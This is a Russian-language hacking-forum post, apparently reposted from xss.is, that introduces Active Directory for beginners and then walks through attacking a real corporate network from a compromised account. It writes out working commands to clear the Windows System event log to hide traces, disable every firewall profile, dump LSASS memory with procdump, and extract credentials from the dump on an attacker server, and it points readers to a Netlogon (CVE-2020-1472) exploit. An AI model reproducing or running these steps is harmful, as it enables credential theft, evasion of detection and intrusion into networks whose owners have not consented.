Ломаем сетку глазами студента #1

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор student / мой_телеграмм_канал
Источник:
https://xss.is
Всех приветствую в моем новом топике по AD. Теперь буду тусоваться в этом разделе, самое время изучить, как работает Active Directory. Если ты тоже хочешь начать, то присоединяйся к моему блогу, так ты будешь получать уведомления о новых статьях, а также полезные нагрузки, команды, утилиты много полезного для безопасника;)
Конечно, очень много есть информации на тему AD, для чего он нужен, как использовать и тому подобное. Но это мой блог и он для новичков, я в праве добавить вводную информацию. Если вы уже имеете хоть какой-то опыт, то можете скипать вводную часть.
p/s если интересно почему я пропадал, то я просто дожидался пока забанят ice80 а то он надоел донаты кидать. Деньги зло.

Прежде чем ломать сетку​

Ознакомимся с таким термином Active Directory. Понятное дело, что в гугле написано более развернуто, но своими словами, если говорить, то вот для чего нужна AD. Представим такую ситуацию у нас есть компания в котором есть 50 компов, которые находятся в одной сети. Нам нужно же как-то обновлять и разворачивать ПО, использовать различные права для каждого из юзеров (групповую политику), администрировать иными словами эти компы. Заходить на каждый комп и выполнять одни и те же действия можно, но если компов будет 500, то уже навряд ли. AD нужен в первую очередь, чтобы был порядок. Иначе пользователи, которые находятся в одной сетке, что захотят то и сделают, а так вы сами можете выдавать права и добавлять в группы. Например, если пользователь не состоит в группе "SeSecurityPrivilege", то он не может выключить аудит. А если попытается, то у него будет ошибка:
1709572454668.png



Чтобы лучше понять, как работает Active Directory посмотрите на схемы
1709572577620.png


1709573557520.png


Разберемся чуть подробнее
HBAC (Host-Based Access Control) - это механизм управления доступом. Например мы можем ограничить пользователю запуск sshd или просмотр директории. По сути это контроль пользователей. Если мы ограничим ему какую-нибудь службу и он попробует ее запустить, то он увидит сообщение, что у него недостаточно прав.
LDAP - это практически тоже самое, что и SQL веб. Он отвечает за доступ к данным.
KDC(контроллер домена) - это главная цель всех хакеров)) С его помощью можно централизованно управлять всей сетью, что очень важно. Можно делать репликацию данных, устанавливать на компы все что угодно, запрашивать инфу с каждого компа, залочить нафиг всю сетку и тому подобное. Что можно назвать контроллером домена?
  • База данных, которая может быть доступна с помощью LDAP.
  • Сервис, который работает через протоколы Kerberos, NTLM, Netlogon или WDigest;
Кстати, Netlogon это вообще отдельная тема. Некоторые версии дырявые. Можете погуглить poc CVE-2020-1472. Интересная уязвимость, есть даже демонстрация и обзор на русском:
разбор уязвимости
демонстрация уязвимости
  • систему управления конфигурацией, использующую протоколы SMB и LDAP
  • сервис DNS, используемый клиентами для поиска ресурсов и поддержки аутентификации.
Про LDAP думаю стоит расписать чуть подробнее и поделать что-нибудь на практике, чтобы новичкам стало чуть понятнее. Чтобы выполнять LDAP запросы понятное дело нужна учетка в AD и права. Как узнать, что у нас есть права? Очень просто
Надо импортировать модуль Active Directory
Код: Скопировать в буфер обмена
powershell -command "Import-Module ActiveDirectory"
попробуйте выполнить простую команду
Код: Скопировать в буфер обмена
powershell -command "Get-ADUser -Filter *"
Если никаких ошибок нет, то мы можем выполнять LDAP запросы. Из предыдущей команды мы должны были получить всех пользователей. Теперь с помощью LDAP фильтра мы можем получить только нужных нам пользователей. Вот пример запроса:
Код: Скопировать в буфер обмена
powershell -command "Get-ADUser -LDAPFilter '(|(sAMAccountName=user1)(sAMAccountName=user2)(sAMAccountName=user3))'"
Я же заполню user1, user2, user3 настоящими пользователями и выполню запрос.
1709579105333.png


Также можно получать отдельные свойства атрибутов. К примеру запрос ниже вернет email пользователя "administrator"
Код: Скопировать в буфер обмена
powershell -command "Get-ADUser -LDAPFilter "(sAMAccountName=administrator)" | Select-Object EmailAddress"
Объект - это сам пользователь. Ключи "administrator" и "EmailAddress", а свойство - это то что мы получаем на выходе. На самом деле объекты/классы в рот е***ал уже второй семестр изучаем c++ я так и не понял что к чему:))
Делаем вывод, что LDAP используется для извлечения свойств атрибутов из базы данных. Атрибуты — это пары "ключ-значение". Теперь думаю понятно для чего нужен LDAP.
DNS тут все просто. У нас есть куча компов, зачем нам запоминать цифры условно 192.168.1.10, если можно назвать каждый комп удобно.
Также стоит отметить, что DNS в Active Directory отличается от общедоступного DNS. В то время как публичный DNS обрабатывает преобразование имен в интернете (например, распознавание www.google.com в его IP-адрес), DNS в Active Directory работает внутри сети вашей организации и обрабатывает местные доменные имена и IP-адреса. Но Microsoft заставляет использовать DNS такие же, как и на публичных ресурсах, чтобы корректно работала синхронизация с их офисом.
В Active Directory пароль пользователя хранится в виде хеша. Существует два типа хешей — LM и NT. Оба хэша имеют одинаковую длину 16 байт, но различаются в способе их вычисления. Зачем нужны две части? Чтобы старые серверы работали корректно.
LM (LAN Manager) - устаревший метод хэширования, который был впервые внедрен в операционную систему LAN Manager Microsoft в середине 1980-х годов. LM слаб с точки зрения безопасности. Он ограничивает длину паролей до 14 символов, преобразует все символы в верхний регистр и разбивает результат на две 7-байтовые части, которые хэшируются отдельно.
NT (New Technology) это более новый и безопасный метод, хэширующий пароли до 128-битного NT-hashes. NT-hashes генерируются с использованием алгоритма MD4, примененного к паролю в Unicode.
Домен — это набор подключенных компьютеров, которые совместно используют базу данных Active Directory, которой управляют центральные серверы домена, называемые контроллерами домена.
У каждого домена есть DNS имя. Например если компания имеет сайт google.com, то как правило доменное имя будет что-то вроде google.local. Домен можно идентифицировать по NetBios. GOOGLE\Administrator где GOOGLE - это NetBios, а Administrator - имя учетной записи. Домен также можно идентифицировать по SID(идентификатору безопасности).
Лес - это иными словами поддомены. Например в компании есть разные отделы (отдел продаж, безопасности, администрирования) и т.д. market.google.local;security.google.local;admin.google.local
Учетки пользователей можно достать из NTDS и LSASS

Это такой мини-курс, введение в AD. Конечно очень много сократил, не дорассказал. Но надо двигаться к делу, теории пока достаточно.

Пример на настоящей сетке (хакерим)​

Представим мы случайно получили доступ к учетной записи пользователя, который находится в общей сетке с другими компами. С чего же начать? Честно, не эксперт. Я лишь хочу показать, как я действую на данный момент. Напомню, что я изучаю AD буквально месяц. Я пишу этот топик, чтобы лишний раз потренироваться и более опытные люди показали на мои ошибки.
WhiteHat`ы выложили вот такой CheatSheet по Active Directory. Есть полезные моменты, например повышение привилегий и кряк хэшэй. Просто оставлю тут
Выполним команду whoami
1709584035848.png


Обратимся к GPT. Чтобы узнать, что мы вообщем можем сделать
Когда вы видите запись "autorite nt\système" или "NT AUTHORITY\SYSTEM", это означает, что вы вошли в систему под учетной записью SYSTEM. Это одна из нескольких встроенных учетных записей в Windows, которые предназначены для запуска сервисов и задач, которые требуют уровня привилегий, выше даже, чем у входа в систему под учетной записью администратора. Эта учетная запись не предназначена для обычного использования. Вместо этого она используется Windows для выполнения задач, которые требуют полного доступа ко всем аспектам системы. Обычно эта учетная запись автоматически управляет сервисами и компонентами и используется при установке и обновлении системы. Поскольку учетная запись SYSTEM имеет доступ ко всем аспектам системы, от неосторожного использования этой учетной записи может произойти серьезный ущерб для системы, вплоть до ее полного выхода из строя. Несмотря на это, если бы вы вошли в систему под учетной записью SYSTEM, вы могли бы делать практически все, что угодно в системе, включая создание, изменение и удаление файлов и служб, установку программ и многие другие действия. Однако использование этой учетной записи для обычного использования не рекомендуется из-за того, насколько мощной она является и как много ущерба может быть нанесено при неправильном использовании.
Нажмите, чтобы раскрыть...
Отлично, мы можем запускать файлы, исполнять и много всего другого. Выполним команду whoami /all
1709584291182.png


В Active Directory есть журналы, которые хранят различную информацию о ошибках в системе, входе в систему и т.д (смотря что за журнал). Эта информация полезна системным администраторам, чтобы предотвратить компрометацию системы. Конечно, взять и очистить все журналы это будет еще более опаснее, чем их вообще не трогать. Но давайте все таки взглянем хватит ли у нас прав просмотреть какие журналы есть в AD и сможем ли мы их почистить.
Код: Скопировать в буфер обмена
powershell -command "Get-EventLog -List"
1709584634460.png


Удаляем все записи с журнала "System"
Код: Скопировать в буфер обмена
powershell -command "Get-WmiObject -Class Win32_NTEventlogFile | Where-Object { $_.logfilename -eq 'System'} | ForEach-Object { $_.ClearEventLog() }"
Проверим удалились ли записи
1709584739609.png


Ага, теперь их всего-лишь 3. Сисадмин увидит и пизды нам даст. Но я еще не самый сильный долбаеб)) Есть же люди, которые запускают nmap :D
Теперь попробуем сдампить lsass. Для начала проверим что нам покажет tasklist.
1709584996188.png


В целом обычные системные процессы, AD, Microsoft Exchange и тому подобное. Полезно выполнять эту команду также, чтобы после себя убить запущенный процесс, чтобы не оставлять следы. Теперь проверим включен ли Windows Defender.
Код: Скопировать в буфер обмена
netsh advfirewall show all
1709585152312.png


Вырубаем его
Код: Скопировать в буфер обмена
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Проверяем снова, что он отключен.
1709585224916.png


Супер. Дальше я хочу попробовать современные технологии нашел вот такую штуку на гите MultiDump
MultiDump - это инструмент после эксплуатации, написанный на C для скрытого сброса и извлечения памяти LSASS, без запуска предупреждений защитника, с обработчиком, написанным на Python.
Нажмите, чтобы раскрыть...
Сначала подключимся к нашему серверу (vps`ка/атакующая машина). Клиент - это сетка куда мы получили доступ. Важно не путать эти два термина, иначе когда вы будете читать про пивотинг или что-то в этом духе, то создадите себе путаницу.
Клонируем скрипт себе на машину
1709585489533.png


Запустим прослушиватель на любом из свободных портов
1709585676051.png


Больше часа потратил. Думаю почему не получается с клиента приконнектится. Оказывается гребанный брандмауэр не дает подключиться. Как я это понял? Включил слушатель и подключился с другой машины, соединение успешно прошло. Дак вот. Раз нам не дают таким образом получать, то поступим иначе. Найдем PID процесса lsass.exe
Код: Скопировать в буфер обмена
tasklist | findstr "lsass.exe"
Перекинем на клиент procdump64.exe и пропишем следующее, чтобы нам дали пользоваться этой утилитой
Код: Скопировать в буфер обмена
procdump64.exe -accepteula
Дальше все просто
Код: Скопировать в буфер обмена
procdump64.exe -ma PID
1709588547491.png


Дальше скачиваем этот дамп на сервер и выполняем следующую команду, чтобы извлечь учетки.
1709588753649.png


Отлично!
1709588985382.png


На этом первую часть можно завершить. Если вам нравится мой контент можете кидать монету, все пойдет на улучшение, статьи будут еще лучше и интереснее. Спасибо;)

View hidden content is available for registered users!
 
Сверху Снизу